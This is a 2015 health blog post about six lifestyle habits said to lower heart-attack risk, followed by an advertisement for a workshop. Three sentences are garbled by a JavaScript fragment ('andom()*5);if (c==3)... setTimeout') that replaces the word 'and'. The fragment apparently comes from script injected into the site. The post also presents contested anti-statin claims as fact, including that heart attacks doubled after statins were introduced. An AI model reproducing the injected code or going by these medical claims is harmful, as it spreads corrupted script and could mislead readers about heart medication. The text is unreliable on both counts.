Can You Heart Attack Proof Yourself?

Posted On : March 17, 2015

chest_painHeart disease is now the number one cause of death in America. One out of three deaths this year will be because of heart disease. Surprisingly, women in their forties are the fastest growing sector of these deaths.

With growing statin use andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a low fat food obsessed country, why is heart disease on the rise? According to Dr. Stephanie Seneff, a senior research scientist at MIT who has been studying heart disease for decades, lowering cholesterol andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and taking statins are not the answer to preventing a heart attack. In fact, according to Dr. Seneff, the incidence of heart attacks doubled the decade after statins were introduced.

According to new research published in the Journal of the American College of Cardiology, there are six lifestyle guidelines you can follow to “heart attack proof” yourself. If you follow ALL of these guidelines you lower your chance of getting a heart attack by 70%.

The six guidelines include:

Healthy Diet This is no surprise to anyone. But what you might not know is that your sugar intake is a larger strain on your heart than some fats. Be sure to eat a diet low in sugar, high in good fats, low in bad fats, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and free from chemicals.

Normal BMI The heart has to work much harder the more weight you carry. Making sure your BMI is under 30 is crucial to making yourself disease proof.

Getting 2.5 hours/week of exercise The heart is a muscle, if you don’t use it, your lose it.

Watching TV seven or less hours/week Sedentary living is now proving to be more harmful to our body than smoking. Find ways to keep yourself moving as often as possible.

Not Smoking Not much new to say on this subject. Bottom line, smoking kills.

Limiting alcohol intake to one drink or less per day Your liver has a tough job. Adding stress to it through consistent drinking can cause it to produce more cholesterol & not filter proper toxins that may damage your heart.

With the increase in heart related deaths, new research is being revealed about how to prevent an attack. Join me March 23rd for our Straight From The Heart Workshop where I will walk you through the most update information available on how to prevent heart disease. Call us 408-298-8092 or email us to reserve your spot. Spaces are limited.